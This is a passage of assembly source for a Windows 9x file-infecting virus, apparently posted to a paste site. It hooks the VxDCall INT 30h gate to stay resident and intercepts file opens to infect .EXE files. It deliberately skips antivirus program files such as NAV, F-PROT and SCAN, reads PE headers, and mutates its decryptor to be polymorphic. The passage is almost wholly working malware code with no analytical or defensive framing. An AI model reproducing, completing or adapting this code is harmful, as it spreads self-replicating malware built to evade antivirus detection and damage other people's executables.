  1436. ; Return Value:
  1437. ;   -> None.
  1438. ;
  1439. ; Registers Destroyed
  1440. ;   -> All
  1441. ;________________________
  1442. InstallHookProcedure PROC
  1443.     LOCAL       dwDeltaOffset:DWORD
  1444.  
  1445.     @DELTA  esi
  1446.     mov     [dwDeltaOffset], esi
  1447.  
  1448. ;Modify the JMP instruction, so that it points to the address of OldInt30
  1449.     mov     eax, esi
  1450.     add     eax, offset OldInt30Address     ;Bytes to modify
  1451.     mov     ebx, esi
  1452.     add     ebx, offset OldInt30            ;Address of OldInt30
  1453.     mov     [eax], ebx                      ;Modify JMP instruction
  1454.  
  1455. ;The disassembly of the VxDCall function looks like this:
  1456. ;
  1457. ;8B 44 24 04                MOV     EAX, DWORD PTR [ESP+04h]
  1458. ;8F 04 24                   POP     DWORD PTR [ESP]
  1459. ;2E FF 1D XX XX XX XX       CALL    FWORD PTR CS:[XXXXXXXX]
  1460. ;
  1461. ;The last instuction points to an INT 30h instruction that is used by
  1462. ;VxDCall to jump to Ring 0. So, to hook VxDCall's, we must modify the
  1463. ;address pointed to by the CALL, i.e. XXXXXX, so that it points to our
  1464. ;code. Before that, we should save the current address, so that we can
  1465. ;call the old INT 30h
  1466.  
  1467. ;Trace through VxDCall, until we come to the XXXXXXXX bytes
  1468.     add     esi, offset VxDCall
  1469.     mov     esi, [esi]                  ;First byte of VxDCall function
  1470.     mov     ecx, 50                     ;Scan upto 50 bytes
  1471. TraceVxDCall:
  1472.     lodsb                               ;Get current byte
  1473.     cmp     al, 2Eh                     ;First byte of CALL instruction?
  1474.     jne     TraceVxDCall_NextByte       ;No, check next byte
  1475.     cmp     word ptr [esi], 1DFFh       ;Next two bytes of instruction?
  1476.     je      TraceVxDCall_AddressFound   ;Yes
  1477. TraceVxDCall_NextByte:
  1478.     loop    TraceVxDCall                ;Continue Checking...
  1479.  
  1480. TraceVxDCall_AddressFound:
  1481. ;Save Current INT 30h Address
  1482.     cli                                 ;Cannot afford to be interrupted
  1483.     lodsw                               ;Skip over FF and 1D opcodes of CALL
  1484.     lodsd                               ;Pointer to INT 30h instruction, XXXXXXXX
  1485.     mov     esi, eax                    ;Copy Bytes From Here
  1486.     mov     edi, [dwDeltaOffset]
  1487.     add     edi, offset OldInt30        ;To Here
  1488.     mov     ecx, 6                      ;Save 6 bytes, FWORD
  1489.     rep     movsb
  1490.  
  1491. ;Install New INT 30h Handler
  1492.     mov     edi, eax                    ;Pointer to INT 30h instruction
  1493.     mov     eax, [dwDeltaOffset]
  1494.     add     eax, offset VxDInt30Handler ;Copy This Address
  1495.     stosd                               ;Save 4 bytes ...
  1496.     mov     ax, cs
  1497.     stosw                               ;and 2 bytes (since FWORD instruction)
  1498.     sti                                 ;Handler installed, enable interrupts
  1499.     ret
  1500. InstallHookProcedure ENDP
  1501. ;+----------------------------------------------------------------------------+
  1502. ;| +------------------------------------------------------------------------+ |
  1503. ;| |                                                                        | |
  1504. ;| |                           VxDInt30Handler                              | |
  1505. ;| |                                                                        | |
  1506. ;| +------------------------------------------------------------------------+ |
  1507. ;+----------------------------------------------------------------------------+
  1508. ; Description
  1509. ;   -> This is the hook procedure that monitors VxDCalls (INT 30h)
  1510. ;
  1511. ; Arguments
  1512. ;   -> None.
  1513. ;
  1514. ; Return Value:
  1515. ;   -> None.
  1516. ;
  1517. ; Registers Destroyed
  1518. ;   -> All
  1519. ;___________________
  1520. VxDInt30Handler PROC
  1521.         pushad                          ;Save all, since this is an interrupt handler
  1522.  
  1523. ;Make sure that we don't process our own calls
  1524.         @OFFSET ebp, VxDCall_Busy
  1525.         cmp     byte ptr [ebp], TRUE                ;Is Virus busy
  1526.         je      Exit_VxDInt30Handler                ;Yes, prevent re-entrancy
  1527.  
  1528. ;Process only INT 21h Services
  1529.         cmp     eax, VWIN32_Int21Dispatch           ;VWIN32 VxD int 21h?
  1530.         jne     Exit_VxDInt30Handler
  1531.  
  1532.         mov     eax,dword ptr [esp+0000002Ch]       ;Get 21h Service
  1533.         cmp     ax, RESIDENCY_CHECK_SERVICE         ;Check for Residency?
  1534.         je      Residency_Check                     ;Yes
  1535.         cmp     ax, LFN_OPEN_FILE_EXTENDED          ;LFN Open Extended
  1536.         je      Extended_File_Open
  1537.  
  1538.         jmp     Exit_VxDInt30Handler                ;None, go to default handler
  1539.  
  1540. Residency_Check:
  1541. ;Virus Residency Check
  1542.         popad                                       ;Restore stack and other regs
  1543.         mov     esi, RESIDENCY_SUCCESS              ;Tell caller that we're resident
  1544.         jmp     Original_VxDInt30Handler            ;Go to original handler
  1545.  
  1546. Extended_File_Open:
  1547. ;Prevent Re-entrancy
  1548.         @OFFSET eax, VxDCall_Busy
  1549.         mov     byte ptr [eax], TRUE
  1550.  
  1551.         push    esi
  1552.         call    IsFilenameOK, esi
  1553.         pop     esi
  1554.         or      eax, eax
  1555.         jz      File_Not_Executable
  1556.  
  1557. ;Do Stuff
  1558.         ;call   OutputFileName
  1559.         call    InfectFile, esi
  1560.  
  1561. File_Not_Executable:
  1562. ;Finished Processing
  1563.         @OFFSET eax, VxDCall_Busy
  1564.         mov     byte ptr [eax], FALSE
  1565.  
  1566. Exit_VxDInt30Handler:
  1567.         popad                           ;Restore, before transfering control
  1568.  
  1569. Original_VxDInt30Handler:
  1570. ;The following bytes will be translated to JMP FWORD PTR CS:[00000000]
  1571.         DB 2Eh, 0FFh, 2Dh               ;JMP FWORD PTR CS:[XXXXXXXX]
  1572. OldInt30Address:                        ;The following 4 bytes will be replaced by the
  1573.         DB 4 DUP (0)                    ;address of OldInt30 in memory.
  1574.         ;ret                            ;Not required, since we're jumping out
  1575. VxDInt30Handler ENDP
  1576. ;+----------------------------------------------------------------------------+
  1577. ;| +------------------------------------------------------------------------+ |
  1578. ;| |                                                                        | |
  1579. ;| |                            IsFilenameOK                                | |
  1580. ;| |                                                                        | |
  1581. ;| +------------------------------------------------------------------------+ |
  1582. ;+----------------------------------------------------------------------------+
  1583. ; Description
  1584. ;   -> This function checks if the filename is OK for infection or not. If the
  1585. ;      filename meets any of the folling criteria, this function returns a
  1586. ;      failure.
  1587. ;           * Filename is less than 5 characters. This is checked, because
  1588. ;             we are infecting only .EXE files, so the minimum length of such
  1589. ;             a file is 5 characters
  1590. ;           * The filename must end in ".EXE" (or ".XYZ" for DEBUG mode). The
  1591. ;             comparison is case insensitive
  1592. ;           * The filename must NOT consist of any of the following pairs of
  1593. ;             characters, viz., "AV", "AN", "F-". This is done to prevent
  1594. ;             infection of Anti-Virus program files.
  1595. ;
  1596. ; Arguments
  1597. ;   -> ife_szFilename:  Address of the buffer where the filename is stored
  1598. ;
  1599. ; Return Value:
  1600. ;   -> EAX: 1 if the filename is OK, 0 otherwise
  1601. ;
  1602. ; Registers Destroyed
  1603. ;   -> All
  1604. ;___________________________________
  1605. IsFilenameOK PROC ife_szFilename
  1606.     LOCAL   szExtention[4]:BYTE
  1607.  
  1608. ;Check Filename Length
  1609.     mov     esi, ife_szFilename
  1610.     call    StringLength, esi       ;Get length of filename
  1611.     cmp     eax, 4                  ;Is File name less than 5 characters (.EXE)
  1612.     jl      Error_IsFilenameOk      ;Yes, Don't infect
  1613.     push    eax                     ;Save Length of Filename
  1614.  
  1615. ;Get File Extention
  1616.     mov     eax, [esi + eax - 4]    ;File Extention (including ".")
  1617.     lea     edx, szExtention        ;Get Address of Extention Buffer
  1618.     mov     [edx], eax              ;Store extention in buffer
  1619.  
  1620. ;Convert to upper case
  1621.     mov     ecx, 3                  ;3 characters to be converted
  1622. ToUpperCase:
  1623.     inc     edx                     ;Don't have to check "." for upper case
  1624.     cmp     byte ptr [edx], "a"
  1625.     jl      NextCharacter
  1626.     cmp     byte ptr [edx], "z"
  1627.     jg      NextCharacter
  1628.     sub     byte ptr [edx], "a" - "A"   ;Convert to upper case
  1629. NextCharacter:
  1630.     loop    ToUpperCase
  1631.  
  1632.     pop     ecx                     ;Get Length of Filename
  1633.  
  1634. ;Check the Extention
  1635.     IF DEBUG
  1636.         cmp     dword ptr [edx - 3], "ZYX." ;Is Extention ".XYZ" (Debug Only)
  1637.     ELSE
  1638.         ERR     "Release Mode, Executables will be Infected !!!"    ;Comment to assemble
  1639.         cmp     dword ptr [edx - 3], "EXE." ;Is Extention ".XYZ" (Release Only)
  1640.     ENDIF
  1641.     jne     Error_IsFilenameOk          ;No, Extention doesn't match
  1642.  
  1643. ;Check Anti-Virus Program Files
  1644.     dec     ecx                     ;Since we're checking 2 char, last char not reqd
  1645. CheckAntiVirusFiles:
  1646.     cmp     word ptr [esi], "VA"    ;"AV"; for NAV (Norton), TBAV (ThunderByte)
  1647.     je      Error_IsFilenameOk
  1648.     cmp     word ptr [esi], "va"
  1649.     je      Error_IsFilenameOk
  1650.     cmp     word ptr [esi], "-F"    ;"F-"; for F-PROT
  1651.     je      Error_IsFilenameOk
  1652.     cmp     word ptr [esi], "NA"    ;"AN", for SCAN (McAfee), CLEAN
  1653.     je      Error_IsFilenameOk
  1654.     cmp     word ptr [esi], "na"
  1655.     je      Error_IsFilenameOk
  1656.     inc     esi                     ;Next Character
  1657.     loop    CheckAntiVirusFiles     ;Check All
  1658.  
  1659.     xor     eax, eax
  1660.     inc     eax
  1661.     jmp     End_IsFilenameOk
  1662.  
  1663. Error_IsFilenameOk:
  1664.     xor     eax, eax
  1665.  
  1666. End_IsFilenameOk:
  1667.     ret
  1668. IsFilenameOK ENDP
  1669. ;+----------------------------------------------------------------------------+
  1670. ;| +------------------------------------------------------------------------+ |
  1671. ;| |                                                                        | |
  1672. ;| |                                                                        | |
  1673. ;| |                                                                        | |
  1674. ;| +------------------------------------------------------------------------+ |
  1675. ;+----------------------------------------------------------------------------+
  1676. OutputFileName PROC
  1677.     LOCAL   dwFilename:DWORD, \
  1678.             dwDeltaOffset:DWORD
  1679.  
  1680.     mov     [dwFilename], esi
  1681.     @DELTA  esi
  1682.     mov     [dwDeltaOffset], esi
  1683.  
  1684. ;Create File to write into
  1685.     mov     edx, [dwDeltaOffset]
  1686.     add     edx, offset szOutputFile
  1687.     mov     esi, 0BFF77ADFh
  1688.     call    esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \
  1689.                 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
  1690.     cmp     eax, INVALID_HANDLE_VALUE
  1691.     je      End_OutputFileName
  1692.  
  1693. ;Go to end of file
  1694.     push    eax                             ;Save Handle
  1695.     mov     esi, 0BFF7713Fh                 ;SetFilePointer
  1696.     call    esi, eax, 0, 0, 2
  1697.     pop     eax                             ;Restore Handle
  1698.  
  1699. ;Get Length of FileName
  1700.     push    eax                             ;Save Handle
  1701.     mov     edx, [dwFilename]
  1702.     mov     esi, 0BFF773ADh                 ;lstrlen
  1703.     call    esi, edx
  1704.     mov     ebx, eax                        ;length of filename
  1705.     pop     eax                             ;Restore Handle
  1706.  
  1707. ;Write Into File
  1708.     push    eax                             ;save handle
  1709.     push    eax                             ;Create Buffer, used for number of bytes written
  1710.     lea     ecx, [esp - 4]
  1711.     mov     edx, [dwFilename]
  1712.     mov     esi,0BFF76FD5h                  ;WriteFile
  1713.     call    esi, eax, edx, ebx, ecx, 0
  1714.     pop     eax                             ;Remove Buffer
  1715.     pop     eax                             ;restore handle
  1716.  
  1717. ;Close File
  1718.     mov     esi, 0BFF7E064h
  1719.     call    esi, eax
  1720.  
  1721. End_OutputFileName:
  1722.         ret
  1723. OutputFileName ENDP
  1724. ;+----------------------------------------------------------------------------+
  1725. ;| +------------------------------------------------------------------------+ |
  1726. ;| |                                                                        | |
  1727. ;| |                            IsVirusActive                               | |
  1728. ;| |                                                                        | |
  1729. ;| +------------------------------------------------------------------------+ |
  1730. ;+----------------------------------------------------------------------------+
  1731. ; Description
  1732. ;   -> This function returns 1 if the virus is active in memory, else returns
  1733. ;      0. This function also saves the address of the VxDCall API.
  1734. ;
  1735. ; Arguments
  1736. ;   -> None.
  1737. ;
  1738. ; Return Value:
  1739. ;   -> EAX: 1 if the Virus is Resident. 0 otherwise
  1740. ;
  1741. ; Registers Destroyed
  1742. ;   -> All
  1743. ;_________________
  1744. IsVirusActive PROC
  1745.     call    GetAddressOfKernelAPI, 0    ;Get Address Of VxDCall API
  1746.     test    eax, eax                    ;Found Address ?
  1747.     jz      End_IsVirusActive           ;No, Return 0
  1748.  
  1749. ;Save address of VxDCall API
  1750.     @OFFSET ebx, VxDCall
  1751.     mov     [ebx], eax                  ;Save Address
  1752.  
  1753.     ;Check if Virus is Already Resident
  1754.     @CALL_INT21h RESIDENCY_CHECK_SERVICE
  1755.     xor     eax, eax                    ;Assume not resident
  1756.     cmp     esi, RESIDENCY_SUCCESS      ;Is Virus Resident
  1757.     jne     End_IsVirusActive           ;No, return 0
  1758.     inc     eax                         ;Yes, return 1
  1759.  
  1760. End_IsVirusActive:
  1761.     ret
  1762. IsVirusActive ENDP
  1763. ;+----------------------------------------------------------------------------+
  1764. ;| +------------------------------------------------------------------------+ |
  1765. ;| |                                                                        | |
  1766. ;| |                            GetFileHeaders                              | |
  1767. ;| |                                                                        | |
  1768. ;| +------------------------------------------------------------------------+ |
  1769. ;+----------------------------------------------------------------------------+
  1770. ; Description
  1771. ;   -> This function retreives the address of various file headers, viz.,
  1772. ;      Image File Header, Image Optional Header, Last Section Header,
  1773. ;      Image Export Directory. The function fails if the specified file is
  1774. ;      not a Portable Executable (PE) file
  1775. ;
  1776. ; Arguments
  1777. ;   -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are
  1778. ;      required.
  1779. ;
  1780. ; Return Value:
  1781. ;   -> EAX: Address of the Image File Header, or 0 if the function failed
  1782. ;   -> EBX: Address of the Image Optional Header
  1783. ;   -> ECX: Address of the Last Sections Header
  1784. ;   -> EDX: Address of the Image Export Directory
  1785. ;
  1786. ; Registers Destroyed
  1787. ;   -> All
  1788. ;_______________________________________
  1789. GetFileHeaders PROC gfh_dwFileBase:DWORD
  1790.     LOCAL   dwIOH:DWORD, \
  1791.             dwIED:DWORD, \
  1792.  
  1793.     mov     esi, [gfh_dwFileBase]
  1794.     cmp     word ptr [esi], "ZM"                ;Is EXE/DLL Present ?
  1795.     jne     Error_GetFileHeaders                ;No
  1796.  
  1797. ;Check for PE Signature
  1798.     add     esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew
  1799.     cmp     dword ptr [esi], "EP"               ;PE File ?
  1800.     jne     Error_GetFileHeaders                ;No
  1801.  
  1802. ;Get Image Optional Header
  1803.     add     esi, IMAGE_SIZEOF_NT_SIGNATURE      ;Image File Header
  1804.     push    esi                                 ;Save Image File Header
  1805.     add     esi, SIZE IMAGE_FILE_HEADER         ;Image Optional Header
  1806.     mov     [dwIOH], esi                        ;Save
  1807.  
  1808. ;Get the Address of the Image Export Directory
  1809.     mov     esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress  ;RVA Image Export Directory
  1810.     add     esi, [gfh_dwFileBase]
  1811.     mov     dword ptr [dwIED], esi
  1812.  
  1813. ;Get Address of Last Section Header
  1814.     pop     esi                                 ;Get Image File header
  1815.     movzx   ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader
  1816.     add     ecx, [dwIOH]                            ;Address of First Section Header
  1817.     movzx   eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections
  1818.     dec     eax                                 ;Number of Sections - 1
  1819.     imul    eax, eax, SIZE IMAGE_SECTION_HEADER ;Size of All Section Headers
  1820.     ;mov        ebx, SIZE IMAGE_SECTION_HEADER
  1821.     ;mul        ebx                                 ;Size of All Section Headers
  1822.     add     ecx, eax                            ;Address of Last Section Header
  1823.  
  1824. ;Return Header Values
  1825.     mov     eax, esi                            ;Image File Header
  1826.     mov     ebx, [dwIOH]
  1827.     mov     edx, [dwIED]
  1828.  
  1829.     jmp     End_GetFileHeaders
  1830.  
  1831. Error_GetFileHeaders:
  1832.     xor     eax, eax                            ;Error, Return 0
  1833.  
  1834. End_GetFileHeaders:
  1835.     ret
  1836. GetFileHeaders ENDP
  1837. ;+----------------------------------------------------------------------------+
  1838. ;| +------------------------------------------------------------------------+ |
  1839. ;| |                                                                        | |
  1840. ;| |                            MutateDecryptor                             | |
  1841. ;| |                                                                        | |
  1842. ;| +------------------------------------------------------------------------+ |
  1843. ;+----------------------------------------------------------------------------+
  1844. ; Description
  1845. ;   -> This function modifies the registers used in the decryptor, to make it
  1846. ;      polymorphic. The decrypor uses two registers; one as an index, and the
  1847. ;      other as a counter. The registers EAX, EBX, ECX, EDX, ESI and EDI are
  1848. ;      used as random registers. The opcodes are generated in the following way.
  1849. ;      First the opcode is calculated using register EAX; e.g. the opcode for
  1850. ;      POP EAX is 58h. To generate the opcodes for the other registers, we add
  1851. ;      the number of the register. The number for EDX is 2. Adding this to 58h,
  1852. ;      we get 5Ah, which is the opcode for POP EDX
  1853. ;
  1854. ; Arguments
  1855. ;   -> EDI: Start of decrypor that need to be mutated
  1856. ;
  1857. ; Return Value:
  1858. ;   -> None
  1859. ;
  1860. ; Registers Destroyed
  1861. ;   -> AX, BL
  1862. ;___________________
  1863. MutateDecryptor PROC
  1864. ;Get Two Random Registers
  1865.     call    RandomRegister              ;Get First Register Number
  1866.     mov     ah, al                      ;Save It
  1867. GetAnotherRegister:
  1868.     call    RandomRegister              ;Get Second Register Number
  1869.     cmp     ah, al                      ;Is it the same as First
  1870.     je      GetAnotherRegister          ;Yes, get another one
  1871.  
  1872. ;Modify Decryptor, so that it uses the new registers
  1873.     mov     bl, 58h                     ;Change "pop <register1>"
  1874.     add     bl, al                      ;Register 1
  1875.     mov     byte ptr [edi + 5], bl
  1876.     mov     bl, 0C0h                    ;Change "add <register1>, ..."
  1877.     add     bl, al                      ;Register 1
  1878.     mov     byte ptr [edi + 7], bl
  1879.     mov     bl, 0B8h                    ;Change "mov <register2>, ..."
  1880.     add     bl, ah                      ;Register 2
  1881.     mov     byte ptr [edi + 9], bl
  1882.     mov     bl, 30h                     ;Change "xor byte ptr [<register1>], ..."
  1883.     add     bl, al                      ;Register 1
  1884.     mov     byte ptr [edi + 15], bl
  1885.     mov     bl, 40h                     ;Change "inc <register1>"
  1886.     add     bl, al                      ;Register 1
  1887.     mov     byte ptr [edi + 17], bl
  1888.     mov     bl, 48h                     ;Change "dec <register2>"
  1889.     add     bl, ah                      ;Register 2
  1890.     mov     byte ptr [edi + 18], bl
  1891.  
  1892.     ret
  1893. MutateDecryptor ENDP
  1894. ;+----------------------------------------------------------------------------+
  1895. ;| +------------------------------------------------------------------------+ |
  1896. ;| |                                                                        | |
  1897. ;| |                            RandomRegister                              | |
  1898. ;| |                                                                        | |
  1899. ;| +------------------------------------------------------------------------+ |
  1900. ;+----------------------------------------------------------------------------+
  1901. ; Description
  1902. ;   -> This function returns a random number from 0, 1, 2, 3, 6, and 7. Each of
  1903. ;      these values is used to identify a register.
  1904. ;      EAX=0, ECX=1, EDX=2, EBX=3, ESI=6, EDI=7
  1905. ;
  1906. ; Arguments
  1907. ;   -> None.
  1908. ;
  1909. ; Return Value:
  1910. ;   -> AL:  Random number (0, 1, 2, 3, 6 or 7)
  1911. ;
  1912. ; Registers Destroyed
  1913. ;   -> AL
  1914. ;__________________
  1915. RandomRegister PROC
  1916. NewRandom:
  1917.     in      al, 40h                     ;Get Random Number
  1918.     and     al,00000111b                ;Maximum value 7
  1919.     cmp     al, 4                       ;Should not be 4...
  1920.     je      NewRandom
  1921.     cmp     al, 5                       ;...or 5
  1922.     je      NewRandom
  1923.     ret
  1924. RandomRegister ENDP
  1925. ;+----------------------------------------------------------------------------+
  1926. ;| +------------------------------------------------------------------------+ |
  1927. ;| |                                                                        | |
  1928. ;| |                          End Of Virus Code                             | |
  1929. ;| |                                                                        | |
  1930. ;| +------------------------------------------------------------------------+ |
  1931. ;+----------------------------------------------------------------------------+
  1932. VIRUS_SIZE          EQU     $ - offset StartOfVirusCode
  1933. ENCRYPTED_SIZE      EQU     $ - offset EncryptedVirusCode
  1934. LOADER_SIZE         EQU     VIRUS_SIZE - ENCRYPTED_SIZE
  1935. VIRUS_SIZE_PAGES    EQU     (VIRUS_SIZE / PAGE_SIZE) + 1
  1936. END StartOfVirusCode
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement